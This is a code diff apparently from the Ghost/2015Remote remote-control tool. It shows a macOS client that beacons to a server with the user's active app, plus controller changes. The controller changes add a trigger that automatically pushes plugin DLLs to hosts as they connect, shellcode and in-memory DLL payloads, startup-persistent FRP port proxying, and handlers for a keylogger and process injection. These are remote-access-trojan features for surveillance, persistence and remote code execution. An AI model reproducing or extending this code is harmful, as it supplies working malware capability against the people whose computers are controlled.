NSLog(@"=== macOS Ghost Client ===");
// Setup signal handlers
setupSignals();
// Check permissions
NSLog(@"Checking permissions...");
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
Permissions::openScreenCaptureSettings();
}
if (!Permissions::checkAccessibility()) {
NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility();
}
// FDA check is unreliable (no official API), just log a warning
if (!Permissions::checkFullDiskAccess()) {
NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable
}
// Create client
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
// Main event loop
NSLog(@"Starting main loop...");
LOGIN_INFOR logInfo;
fillLoginInfo(logInfo);
while (g_running) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp();
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
}
NSLog(@"Shutting down...");
}
return 0;
}

Binary file not shown.

View File

@@ -69,6 +69,8 @@
#include "NotifyManager.h"
#include "NotifySettingsDlg.h"
#include "FrpsForSubDlg.h"
#include "PluginSettingsDlg.h"
#include "TriggerSettingsDlg.h"
#include "common/key.h"
#include "UIBranding.h"
@@ -345,7 +347,8 @@ bool IsDll64Bit(BYTE* dllBase)
}
// 返回:读取的字节数组指针(需要手动释放)
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD })
DllInfo* ReadPluginDll(const std::string& filename,
const DllExecuteInfo& execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD, {}, {}, 0, 0, sizeof(DllExecuteInfo)})
{
// 打开文件(以二进制模式)
std::ifstream file(filename, std::ios::binary | std::ios::ate);
@@ -413,7 +416,7 @@ DllInfo* ReadTinyRunDll(int pid)
}
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid, 0, sizeof(DllExecuteInfo)};
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
@@ -433,7 +436,7 @@ DllInfo* ReadFrpcDll(int callType)
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType };
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
@@ -588,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
// New menu icons
m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER);
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -604,6 +611,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
// 应用插件配置(从 JSON 文件加载并更新 DllExecuteInfo 参数)
CPluginSettingsDlg::PatchDllList(m_DllList);
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
}
@@ -821,6 +830,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
@@ -851,6 +862,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
END_MESSAGE_MAP()
@@ -919,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
// Tools menu
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
@@ -937,9 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]);
// Help menu
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
@@ -5254,6 +5269,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
} else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll(info->CallType);
Buffer* buf = frpc->Data;
DllExecuteInfo* target = frpc->GetInfo();
target->Schedule.Mode = info->Schedule.Mode;
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
if (cmd == CMD_EXECUTE_DLL_NEW) {
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
@@ -5263,14 +5280,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SAFE_DELETE(frpc);
break;
}
bool find = false;
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
// TODO 如果是UDP发送大包数据基本上不可能成功
ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
find = true;
break;
}
}
if (find) break;
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
if (dll) {
Buffer* buf = dll->Data;
@@ -5470,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
auto v = LoginInfor->ParseReserved(RES_MAX);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor;
// 执行主机上线触发器
ExecuteOnlineTrigger(ContextObject);
return S_OK;
} catch(...) {
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
@@ -8474,6 +8499,61 @@ void CMy2015RemoteDlg::OnToolReloadPlugins()
m_DllList = ReadAllDllFilesWindows(path);
}
void CMy2015RemoteDlg::OnToolPluginSettings()
{
CPluginSettingsDlg dlg(m_DllList, this);
dlg.DoModal();
}
void CMy2015RemoteDlg::OnTriggerSettings()
{
if (m_DllList.empty()) {
MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION);
return;
}
CTriggerSettingsDlg dlg(m_DllList, this);
dlg.DoModal();
}
void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
{
if (!ctx || m_DllList.empty()) return;
// 快速检查是否有上线触发器使用缓存无磁盘IO
if (!TriggerManager::Instance().HasOnlineTrigger()) {
return;
}
// 获取触发器插件列表(从缓存获取)
auto pluginNames = TriggerManager::Instance().GetOnlinePlugins();
if (pluginNames.empty()) {
return;
}
Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str());
// 遍历触发器配置的插件列表
for (const auto& pluginName : pluginNames) {
// 查找对应的 DLL
DllInfo* targetDll = nullptr;
for (auto& dll : m_DllList) {
if (dll && dll->Name == pluginName) {
targetDll = dll;
break;
}
}
if (!targetDll || !targetDll->Data) {
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
continue;
}
// 发送 DLL 到客户端
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
}
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{
CString clientIP(ip.c_str());
@@ -8730,7 +8810,7 @@ std::string GetAuthKey(const char* token, long long timestamp)
// 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun)
{
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
@@ -8759,6 +8839,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
DllExecuteInfo* info = frpc->GetInfo();
info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE;
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
@@ -8804,6 +8886,11 @@ void CMy2015RemoteDlg::OnProxyPort()
}
void CMy2015RemoteDlg::OnProxyPortAutorun()
{
ProxyClientTcpPort(false, true);
}
void CMy2015RemoteDlg::OnProxyPortStd()
{
ProxyClientTcpPort(true);

View File

@@ -35,6 +35,9 @@ typedef struct DllInfo {
{
SAFE_DELETE(Data);
}
DllExecuteInfo* GetInfo() {
return (DllExecuteInfo*)(Data->Buf() + 1);
}
} DllInfo;
typedef struct FileTransformCmd {
@@ -264,7 +267,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -449,6 +452,9 @@ public:
afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins();
afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad();
@@ -457,7 +463,7 @@ public:
afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2();
afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard);
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort();
afx_msg void OnHookWin();
afx_msg void OnRunasService();
@@ -481,4 +487,5 @@ public:
afx_msg void OnMasterTrail();
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
};

View File

@@ -337,6 +337,8 @@
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -385,6 +387,8 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -537,6 +541,7 @@
<Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
@@ -550,10 +555,12 @@
<Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" />

View File

@@ -80,6 +80,8 @@
<ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" />
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -182,6 +184,8 @@
<ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
@@ -264,6 +268,9 @@
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />

View File

@@ -0,0 +1,361 @@
#include "stdafx.h"
#include "PluginSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "resource.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
END_MESSAGE_MAP()
CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
, m_DllList(dllList)
, m_nSelectedIndex(-1)
{
}
CPluginSettingsDlg::~CPluginSettingsDlg()
{
}
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
}
BOOL CPluginSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 初始化列表控件
InitListCtrl();
// 初始化运行类型下拉框
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
m_comboRunType.SetCurSel(MEMORYDLL);
// 初始化调用方式下拉框
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
m_Configs = LoadPluginConfigs();
// 加载插件列表
LoadPluginsToList();
return TRUE;
}
void CPluginSettingsDlg::InitListCtrl()
{
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
SetWindowText(_TR("插件设置"));
}
void CPluginSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
// 获取 DllExecuteInfo
const char* buf = (char*)(dll->Data->Buf());
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
CString sizeStr;
sizeStr.Format(_T("%d KB"), info->Size / 1024);
m_listPlugins.SetItemText(index, 1, sizeStr);
int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
}
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
if (pNMLV->uNewState & LVIS_SELECTED) {
m_nSelectedIndex = pNMLV->iItem;
UpdateSelectedPluginInfo();
}
}
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)(dll->Data->Buf());
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找配置(如果有)
PluginConfig* cfg = FindConfig(dll->Name);
// 更新下拉框和编辑框
int runType = cfg ? cfg->RunType : info->RunType;
int callType = cfg ? cfg->CallType : info->CallType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
CString str;
str.Format(_T("%u"), interval);
m_editInterval.SetWindowText(str);
str.Format(_T("%u"), maxCount);
m_editMaxCount.SetWindowText(str);
}
void CPluginSettingsDlg::OnBnClickedBtnSave()
{
if (m_nSelectedIndex < 0) {
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
return;
}
SaveCurrentPluginConfig();
SavePluginConfigs(m_Configs);
// 刷新列表显示
LoadPluginsToList();
// 重新选中
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
}
void CPluginSettingsDlg::SaveCurrentPluginConfig()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)dll->Data->Buf();
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
if (!cfg) {
PluginConfig newCfg;
newCfg.Name = dll->Name;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->Md5 = info->Md5;
cfg->RunType = m_comboRunType.GetCurSel();
cfg->CallType = m_comboCallType.GetCurSel();
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
CString str;
m_editInterval.GetWindowText(str);
cfg->Interval = _ttoi(str);
m_editMaxCount.GetWindowText(str);
cfg->MaxCount = (unsigned char)_ttoi(str);
// 更新 DllInfo 中的 Buffer修改 DllExecuteInfo
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
infoMut->RunType = cfg->RunType;
infoMut->CallType = cfg->CallType;
infoMut->Schedule.Mode = cfg->Mode;
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
infoMut->Schedule.MaxCount = cfg->MaxCount;
}
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
{
for (auto& cfg : m_Configs) {
if (cfg.Name == name) {
return &cfg;
}
}
return nullptr;
}
std::string CPluginSettingsDlg::GetPluginConfigPath()
{
std::string dbPath = GetDbPath();
// 获取目录部分
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "plugins.json";
}
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
{
std::vector<PluginConfig> configs;
std::string path = GetPluginConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
PluginConfig cfg;
cfg.Name = item.get("name", "").asString();
cfg.Md5 = item.get("md5", "").asString();
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
cfg.Interval = item.get("interval", 0).asUInt();
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
if (!cfg.Name.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
{
std::string path = GetPluginConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["name"] = cfg.Name;
item["md5"] = cfg.Md5;
item["runType"] = cfg.RunType;
item["callType"] = cfg.CallType;
item["mode"] = cfg.Mode;
item["flags"] = cfg.Flags;
item["interval"] = cfg.Interval;
item["maxCount"] = cfg.MaxCount;
root.append(item);
